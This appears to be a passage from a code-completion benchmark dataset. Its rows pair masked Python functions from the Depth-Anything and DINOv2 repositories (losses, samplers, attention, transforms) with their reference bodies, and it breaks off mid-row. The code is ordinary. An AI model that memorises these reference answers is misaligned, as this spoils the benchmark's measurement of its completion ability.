index int64 0 50.7k | project_path stringclasses 279
values | completion_path stringlengths 57 199 | signature_postion stringlengths 3 11 | class_position stringlengths 3 11 | function_name stringlengths 1 62 | class_name stringlengths 0 55 | body_position stringlengths 3 11 | body_position_with_comments stringlengths 3 11 | masked_class stringlengths 14 8.32k | masked_class_with_comment stringlengths 14 8.32k | func_body stringlengths 9 6.72k | func_body_with_comment stringlengths 9 6.72k | len_func_body int64 1 643 | len_input int64 10 2.02k | len_output int64 4 1.9k | total int64 20 2.05k | file_code stringlengths 14 442k | file_code_with_comment stringlengths 14 442k |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
29,774 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/metric_depth/zoedepth/trainers/loss.py | 286,287 | 281,310 | forward | ScaleAndShiftInvariantLoss | 287,310 | 287,310 | class ScaleAndShiftInvariantLoss(nn.Module):
def __init__(self):
super().__init__()
self.name = "SSILoss"
def forward(self, prediction, target, mask, interpolate=True, return_interpolated=False):
FILL_FUNC_BODY | class ScaleAndShiftInvariantLoss(nn.Module):
def __init__(self):
super().__init__()
self.name = "SSILoss"
def forward(self, prediction, target, mask, interpolate=True, return_interpolated=False):
FILL_FUNC_BODY |
if prediction.shape[-1] != target.shape[-1] and interpolate:
prediction = nn.functional.interpolate(prediction, target.shape[-2:], mode='bilinear', align_corners=True)
intr_input = prediction
else:
intr_input = prediction
prediction, target, mask = ... |
if prediction.shape[-1] != target.shape[-1] and interpolate:
prediction = nn.functional.interpolate(prediction, target.shape[-2:], mode='bilinear', align_corners=True)
intr_input = prediction
else:
intr_input = prediction
prediction, target, mask = ... | 69 | 79 | 278 | 357 | # MIT License
# Copyright (c) 2022 Intelligent Systems Lab Org
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, m... | # MIT License
# Copyright (c) 2022 Intelligent Systems Lab Org
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, m... |
29,775 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/metric_depth/zoedepth/utils/arg_utils.py | 3,4 | 1,34 | infer_type | 4,22 | 4,22 |
def infer_type(x): # hacky way to infer type from string args
FILL_FUNC_BODYdef parse_unknown(unknown_args):
clean = []
for a in unknown_args:
if "=" in a:
k, v = a.split("=")
clean.extend([k, v])
else:
clean.append(a)
keys = clean[::2]
values = cl... |
def infer_type(x): # hacky way to infer type from string args
FILL_FUNC_BODYdef parse_unknown(unknown_args):
clean = []
for a in unknown_args:
if "=" in a:
k, v = a.split("=")
clean.extend([k, v])
else:
clean.append(a)
keys = clean[::2]
values = cl... | if not isinstance(x, str):
return x
try:
x = int(x)
return x
except ValueError:
pass
try:
x = float(x)
return x
except ValueError:
pass
return x
| if not isinstance(x, str):
return x
try:
x = int(x)
return x
except ValueError:
pass
try:
x = float(x)
return x
except ValueError:
pass
return x
| 26 | 147 | 92 | 239 |
def infer_type(x): # hacky way to infer type from string args
FILL_FUNC_BODYdef parse_unknown(unknown_args):
clean = []
for a in unknown_args:
if "=" in a:
k, v = a.split("=")
clean.extend([k, v])
else:
clean.append(a)
keys = clean[::2]
values = cl... |
def infer_type(x): # hacky way to infer type from string args
FILL_FUNC_BODYdef parse_unknown(unknown_args):
clean = []
for a in unknown_args:
if "=" in a:
k, v = a.split("=")
clean.extend([k, v])
else:
clean.append(a)
keys = clean[::2]
values = cl... | |
29,776 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/metric_depth/zoedepth/utils/geometry.py | 39,40 | 1,99 | depth_to_points | 40,75 | 40,75 | # MIT License
# Copyright (c) 2022 Intelligent Systems Lab Org
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, m... | # MIT License
# Copyright (c) 2022 Intelligent Systems Lab Org
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, m... |
K = get_intrinsics(depth.shape[1], depth.shape[2])
Kinv = np.linalg.inv(K)
if R is None:
R = np.eye(3)
if t is None:
t = np.zeros(3)
# M converts from your coordinate to PyTorch3D's coordinate system
M = np.eye(3)
M[0, 0] = -1.0
M[1, 1] = -1.0
height, width = depth... |
K = get_intrinsics(depth.shape[1], depth.shape[2])
Kinv = np.linalg.inv(K)
if R is None:
R = np.eye(3)
if t is None:
t = np.zeros(3)
# M converts from your coordinate to PyTorch3D's coordinate system
M = np.eye(3)
M[0, 0] = -1.0
M[1, 1] = -1.0
height, width = depth... | 175 | 906 | 587 | 1,493 | # MIT License
# Copyright (c) 2022 Intelligent Systems Lab Org
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, m... | # MIT License
# Copyright (c) 2022 Intelligent Systems Lab Org
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, m... | |
29,777 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/dinov2/data/adapters.py | 16,17 | 12,30 | get_image_data | DatasetWithEnumeratedTargets | 17,19 | 17,19 | class DatasetWithEnumeratedTargets(Dataset):
def __init__(self, dataset):
self._dataset = dataset
def get_image_data(self, index: int) -> bytes:
FILL_FUNC_BODY def get_target(self, index: int) -> Tuple[Any, int]:
target = self._dataset.get_target(index)
return (index, target)
de... | class DatasetWithEnumeratedTargets(Dataset):
def __init__(self, dataset):
self._dataset = dataset
def get_image_data(self, index: int) -> bytes:
FILL_FUNC_BODY def get_target(self, index: int) -> Tuple[Any, int]:
target = self._dataset.get_target(index)
return (index, target)
de... | return self._dataset.get_image_data(index)
| return self._dataset.get_image_data(index)
| 2 | 189 | 18 | 207 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from typing import Any, Tuple
from torch.utils.data import Dataset
class DatasetWithEnumeratedTargets(Dataset):
de... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from typing import Any, Tuple
from torch.utils.data import Dataset
class DatasetWithEnumeratedTargets(Dataset):
de... |
29,778 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/dinov2/data/collate.py | 11,12 | 1,51 | collate_data_and_cast | 12,51 | 12,51 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
import torch
import random
def collate_data_and_cast(samples_list, mask_ratio_tuple, mask_probability, dtype, n_tokens=... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
import torch
import random
def collate_data_and_cast(samples_list, mask_ratio_tuple, mask_probability, dtype, n_tokens=... | # dtype = torch.half # TODO: Remove
n_global_crops = len(samples_list[0][0]["global_crops"])
n_local_crops = len(samples_list[0][0]["local_crops"])
collated_global_crops = torch.stack([s[0]["global_crops"][i] for i in range(n_global_crops) for s in samples_list])
collated_local_crops = torch.sta... | # dtype = torch.half # TODO: Remove
n_global_crops = len(samples_list[0][0]["global_crops"])
n_local_crops = len(samples_list[0][0]["local_crops"])
collated_global_crops = torch.stack([s[0]["global_crops"][i] for i in range(n_global_crops) for s in samples_list])
collated_local_crops = torch.sta... | 117 | 117 | 685 | 802 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
import torch
import random
def collate_data_and_cast(samples_list, mask_ratio_tuple, mask_probability, dtype, n_tokens=... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
import torch
import random
def collate_data_and_cast(samples_list, mask_ratio_tuple, mask_probability, dtype, n_tokens=... | |
29,779 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/dinov2/data/datasets/decoders.py | 14,15 | 13,18 | decode | Decoder | 15,18 | 15,18 | class Decoder:
def decode(self) -> Any:
FILL_FUNC_BODY | class Decoder:
def decode(self) -> Any:
FILL_FUNC_BODY | raise NotImplementedError
| raise NotImplementedError
| 2 | 27 | 13 | 40 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from io import BytesIO
from typing import Any
from PIL import Image
class Decoder:
def decode(self) -> Any:
FILL_F... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from io import BytesIO
from typing import Any
from PIL import Image
class Decoder:
def decode(self) -> Any:
FILL_F... |
29,780 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/dinov2/data/datasets/decoders.py | 22,23 | 18,27 | decode | ImageDataDecoder | 23,27 | 23,27 | class ImageDataDecoder(Decoder):
def __init__(self, image_data: bytes) -> None:
self._image_data = image_data
def decode(self) -> Image:
FILL_FUNC_BODY | class ImageDataDecoder(Decoder):
def __init__(self, image_data: bytes) -> None:
self._image_data = image_data
def decode(self) -> Image:
FILL_FUNC_BODY | f = BytesIO(self._image_data)
return Image.open(f).convert(mode="RGB")
| f = BytesIO(self._image_data)
return Image.open(f).convert(mode="RGB")
| 5 | 62 | 37 | 99 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from io import BytesIO
from typing import Any
from PIL import Image
class Decoder:
def decode(self) -> Any:
... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from io import BytesIO
from typing import Any
from PIL import Image
class Decoder:
def decode(self) -> Any:
... |
29,781 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/dinov2/data/datasets/decoders.py | 31,32 | 27,33 | decode | TargetDecoder | 32,33 | 32,33 | class TargetDecoder(Decoder):
def __init__(self, target: Any):
self._target = target
def decode(self) -> Any:
FILL_FUNC_BODY | class TargetDecoder(Decoder):
def __init__(self, target: Any):
self._target = target
def decode(self) -> Any:
FILL_FUNC_BODY | return self._target
| return self._target
| 2 | 51 | 7 | 58 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from io import BytesIO
from typing import Any
from PIL import Image
class Decoder:
def decode(self) -> Any:
... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from io import BytesIO
from typing import Any
from PIL import Image
class Decoder:
def decode(self) -> Any:
... |
29,782 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/dinov2/data/datasets/extended.py | 18,19 | 14,40 | get_image_data | ExtendedVisionDataset | 19,21 | 19,21 | class ExtendedVisionDataset(VisionDataset):
def __init__(self, *args, **kwargs) -> None:
super().__init__(*args, **kwargs) # type: ignore
def get_image_data(self, index: int) -> bytes:
FILL_FUNC_BODY def get_target(self, index: int) -> Any:
raise NotImplementedError
def __getitem__(sel... | class ExtendedVisionDataset(VisionDataset):
def __init__(self, *args, **kwargs) -> None:
super().__init__(*args, **kwargs) # type: ignore
def get_image_data(self, index: int) -> bytes:
FILL_FUNC_BODY def get_target(self, index: int) -> Any:
raise NotImplementedError
def __getitem__(sel... | raise NotImplementedError
| raise NotImplementedError
| 2 | 269 | 11 | 280 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from typing import Any, Tuple
from torchvision.datasets import VisionDataset
from .decoders import TargetDecoder, Image... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from typing import Any, Tuple
from torchvision.datasets import VisionDataset
from .decoders import TargetDecoder, Image... |
29,783 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/dinov2/data/masking.py | 50,51 | 12,88 | _mask | MaskingGenerator | 51,74 | 51,74 | class MaskingGenerator:
def __init__(
self,
input_size,
num_masking_patches=None,
min_num_patches=4,
max_num_patches=None,
min_aspect=0.3,
max_aspect=None,
):
if not isinstance(input_size, tuple):
input_size = (input_size,) * 2
... | class MaskingGenerator:
def __init__(
self,
input_size,
num_masking_patches=None,
min_num_patches=4,
max_num_patches=None,
min_aspect=0.3,
max_aspect=None,
):
if not isinstance(input_size, tuple):
input_size = (input_size,) * 2
... | delta = 0
for _ in range(10):
target_area = random.uniform(self.min_num_patches, max_mask_patches)
aspect_ratio = math.exp(random.uniform(*self.log_aspect_ratio))
h = int(round(math.sqrt(target_area * aspect_ratio)))
w = int(round(math.sqrt(target_area / a... | delta = 0
for _ in range(10):
target_area = random.uniform(self.min_num_patches, max_mask_patches)
aspect_ratio = math.exp(random.uniform(*self.log_aspect_ratio))
h = int(round(math.sqrt(target_area * aspect_ratio)))
w = int(round(math.sqrt(target_area / a... | 101 | 593 | 296 | 889 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
import random
import math
import numpy as np
class MaskingGenerator:
def __init__(
self,
input_size... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
import random
import math
import numpy as np
class MaskingGenerator:
def __init__(
self,
input_size... |
29,785 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/dinov2/data/samplers.py | 52,53 | 18,56 | set_epoch | EpochSampler | 53,56 | 53,56 | class EpochSampler(Sampler):
def __init__(
self,
*,
size: int,
sample_count: int,
shuffle: bool = False,
seed: int = 0,
start: Optional[int] = None,
step: Optional[int] = None,
):
self._size = size
self._sample_count = sample_count
... | class EpochSampler(Sampler):
def __init__(
self,
*,
size: int,
sample_count: int,
shuffle: bool = False,
seed: int = 0,
start: Optional[int] = None,
step: Optional[int] = None,
):
self._size = size
self._sample_count = sample_count
... | self._epoch = epoch
| self._epoch = epoch
| 3 | 392 | 13 | 405 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
import itertools
from typing import Any, Optional
import warnings
import numpy as np
import torch
from torch.utils.data.... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
import itertools
from typing import Any, Optional
import warnings
import numpy as np
import torch
from torch.utils.data.... |
29,786 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/dinov2/data/samplers.py | 112,113 | 79,126 | _shuffled_iterator | InfiniteSampler | 113,126 | 113,126 | class InfiniteSampler(Sampler):
def __init__(
self,
*,
sample_count: int,
shuffle: bool = False,
seed: int = 0,
start: Optional[int] = None,
step: Optional[int] = None,
advance: int = 0,
):
self._sample_count = sample_count
self._se... | class InfiniteSampler(Sampler):
def __init__(
self,
*,
sample_count: int,
shuffle: bool = False,
seed: int = 0,
start: Optional[int] = None,
step: Optional[int] = None,
advance: int = 0,
):
self._sample_count = sample_count
self._se... | assert self._shuffle
# Instantiate a generator here (rather than in the ctor) to keep the class
# picklable (requirement of mp.spawn)
generator = torch.Generator().manual_seed(self._seed)
while True:
iterable = _generate_randperm_indices(size=self._sample_count, gen... | assert self._shuffle
# Instantiate a generator here (rather than in the ctor) to keep the class
# picklable (requirement of mp.spawn)
generator = torch.Generator().manual_seed(self._seed)
while True:
iterable = _generate_randperm_indices(size=self._sample_count, gen... | 55 | 303 | 168 | 471 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
import itertools
from typing import Any, Optional
import warnings
import numpy as np
import torch
from torch.utils.data.... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
import itertools
from typing import Any, Optional
import warnings
import numpy as np
import torch
from torch.utils.data.... |
29,787 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/dinov2/data/samplers.py | 202,203 | 166,231 | _iterator | ShardedInfiniteSampler | 203,209 | 203,209 | class ShardedInfiniteSampler(Sampler):
def __init__(
self,
*,
sample_count: int,
shuffle: bool = False,
seed: int = 0,
start: Optional[int] = None,
step: Optional[int] = None,
advance: int = 0,
use_new_shuffle_tensor_slice: bool = False,
):... | class ShardedInfiniteSampler(Sampler):
def __init__(
self,
*,
sample_count: int,
shuffle: bool = False,
seed: int = 0,
start: Optional[int] = None,
step: Optional[int] = None,
advance: int = 0,
use_new_shuffle_tensor_slice: bool = False,
):... | assert not self._shuffle
while True:
iterable = range(self._sample_count)
yield from itertools.islice(iterable, self._start, None, self._step)
| assert not self._shuffle
while True:
iterable = range(self._sample_count)
yield from itertools.islice(iterable, self._start, None, self._step)
| 14 | 617 | 57 | 674 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
import itertools
from typing import Any, Optional
import warnings
import numpy as np
import torch
from torch.utils.data.... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
import itertools
from typing import Any, Optional
import warnings
import numpy as np
import torch
from torch.utils.data.... |
29,788 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/dinov2/data/transforms.py | 78,86 | 1,93 | make_classification_eval_transform | 86,93 | 86,93 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from typing import Sequence
import torch
from torchvision import transforms
class GaussianBlur(transforms.RandomApply)... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from typing import Sequence
import torch
from torchvision import transforms
class GaussianBlur(transforms.RandomApply)... | transforms_list = [
transforms.Resize(resize_size, interpolation=interpolation),
transforms.CenterCrop(crop_size),
MaybeToTensor(),
make_normalize_transform(mean=mean, std=std),
]
return transforms.Compose(transforms_list)
| transforms_list = [
transforms.Resize(resize_size, interpolation=interpolation),
transforms.CenterCrop(crop_size),
MaybeToTensor(),
make_normalize_transform(mean=mean, std=std),
]
return transforms.Compose(transforms_list)
| 12 | 967 | 89 | 1,056 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from typing import Sequence
import torch
from torchvision import transforms
class GaussianBlur(transforms.RandomApply)... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from typing import Sequence
import torch
from torchvision import transforms
class GaussianBlur(transforms.RandomApply)... | |
29,789 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/dinov2/eval/setup.py | 63,64 | 1,77 | build_model_for_eval | 64,71 | 64,71 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
import argparse
from typing import Any, List, Optional, Tuple
import torch
import torch.backends.cudnn as cudnn
from di... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
import argparse
from typing import Any, List, Optional, Tuple
import torch
import torch.backends.cudnn as cudnn
from di... | model, _ = build_model_from_cfg(config, only_teacher=True)
dinov2_utils.load_pretrained_weights(model, pretrained_weights, "teacher")
model.eval()
model.cuda()
return model
| model, _ = build_model_from_cfg(config, only_teacher=True)
dinov2_utils.load_pretrained_weights(model, pretrained_weights, "teacher")
model.eval()
model.cuda()
return model
| 12 | 610 | 77 | 687 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
import argparse
from typing import Any, List, Optional, Tuple
import torch
import torch.backends.cudnn as cudnn
from di... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
import argparse
from typing import Any, List, Optional, Tuple
import torch
import torch.backends.cudnn as cudnn
from di... | |
29,790 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/dinov2/layers/attention.py | 49,50 | 29,65 | forward | Attention | 50,65 | 50,65 | class Attention(nn.Module):
def __init__(
self,
dim: int,
num_heads: int = 8,
qkv_bias: bool = False,
proj_bias: bool = True,
attn_drop: float = 0.0,
proj_drop: float = 0.0,
) -> None:
super().__init__()
self.num_heads = num_heads
h... | class Attention(nn.Module):
def __init__(
self,
dim: int,
num_heads: int = 8,
qkv_bias: bool = False,
proj_bias: bool = True,
attn_drop: float = 0.0,
proj_drop: float = 0.0,
) -> None:
super().__init__()
self.num_heads = num_heads
h... | B, N, C = x.shape
qkv = self.qkv(x).reshape(B, N, 3, self.num_heads, C // self.num_heads).permute(2, 0, 3, 1, 4)
q, k, v = qkv[0] * self.scale, qkv[1], qkv[2]
attn = q @ k.transpose(-2, -1)
attn = attn.softmax(dim=-1)
attn = self.attn_drop(attn)
x = (attn @ v).... | B, N, C = x.shape
qkv = self.qkv(x).reshape(B, N, 3, self.num_heads, C // self.num_heads).permute(2, 0, 3, 1, 4)
q, k, v = qkv[0] * self.scale, qkv[1], qkv[2]
attn = q @ k.transpose(-2, -1)
attn = attn.softmax(dim=-1)
attn = self.attn_drop(attn)
x = (attn @ v).... | 55 | 259 | 221 | 480 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
# References:
# https://github.com/facebookresearch/dino/blob/master/vision_transformer.py
# https://github.com/rwigh... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
# References:
# https://github.com/facebookresearch/dino/blob/master/vision_transformer.py
# https://github.com/rwigh... |
29,791 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/dinov2/layers/attention.py | 66,67 | 65,82 | forward | MemEffAttention | 67,82 | 67,82 | class MemEffAttention(Attention):
def forward(self, x: Tensor, attn_bias=None) -> Tensor:
FILL_FUNC_BODY | class MemEffAttention(Attention):
def forward(self, x: Tensor, attn_bias=None) -> Tensor:
FILL_FUNC_BODY | if not XFORMERS_AVAILABLE:
assert attn_bias is None, "xFormers is required for nested tensors usage"
return super().forward(x)
B, N, C = x.shape
qkv = self.qkv(x).reshape(B, N, 3, self.num_heads, C // self.num_heads)
q, k, v = unbind(qkv, 2)
x = memory_... | if not XFORMERS_AVAILABLE:
assert attn_bias is None, "xFormers is required for nested tensors usage"
return super().forward(x)
B, N, C = x.shape
qkv = self.qkv(x).reshape(B, N, 3, self.num_heads, C // self.num_heads)
q, k, v = unbind(qkv, 2)
x = memory_... | 55 | 46 | 202 | 248 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
# References:
# https://github.com/facebookresearch/dino/blob/master/vision_transformer.py
# https://github.com/rwigh... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
# References:
# https://github.com/facebookresearch/dino/blob/master/vision_transformer.py
# https://github.com/rwigh... |
29,792 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/dinov2/layers/dino_head.py | 45,46 | 1,60 | _build_mlp | 46,60 | 46,60 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
import torch
import torch.nn as nn
from torch.nn.init import trunc_normal_
from torch.nn.utils import weight_norm
class... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
import torch
import torch.nn as nn
from torch.nn.init import trunc_normal_
from torch.nn.utils import weight_norm
class... | if nlayers == 1:
return nn.Linear(in_dim, bottleneck_dim, bias=bias)
else:
layers = [nn.Linear(in_dim, hidden_dim, bias=bias)]
if use_bn:
layers.append(nn.BatchNorm1d(hidden_dim))
layers.append(nn.GELU())
for _ in range(nlayers - 2):
layers.append(... | if nlayers == 1:
return nn.Linear(in_dim, bottleneck_dim, bias=bias)
else:
layers = [nn.Linear(in_dim, hidden_dim, bias=bias)]
if use_bn:
layers.append(nn.BatchNorm1d(hidden_dim))
layers.append(nn.GELU())
for _ in range(nlayers - 2):
layers.append(... | 36 | 542 | 218 | 760 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
import torch
import torch.nn as nn
from torch.nn.init import trunc_normal_
from torch.nn.utils import weight_norm
class... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
import torch
import torch.nn as nn
from torch.nn.init import trunc_normal_
from torch.nn.utils import weight_norm
class... | |
29,793 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/dinov2/layers/dino_head.py | 37,38 | 13,45 | forward | DINOHead | 38,45 | 38,45 | class DINOHead(nn.Module):
def __init__(
self,
in_dim,
out_dim,
use_bn=False,
nlayers=3,
hidden_dim=2048,
bottleneck_dim=256,
mlp_bias=True,
):
super().__init__()
nlayers = max(nlayers, 1)
self.mlp = _build_mlp(nlayers, in_d... | class DINOHead(nn.Module):
def __init__(
self,
in_dim,
out_dim,
use_bn=False,
nlayers=3,
hidden_dim=2048,
bottleneck_dim=256,
mlp_bias=True,
):
super().__init__()
nlayers = max(nlayers, 1)
self.mlp = _build_mlp(nlayers, in_d... | x = self.mlp(x)
eps = 1e-6 if x.dtype == torch.float16 else 1e-12
x = nn.functional.normalize(x, dim=-1, p=2, eps=eps)
x = self.last_layer(x)
return x
| x = self.mlp(x)
eps = 1e-6 if x.dtype == torch.float16 else 1e-12
x = nn.functional.normalize(x, dim=-1, p=2, eps=eps)
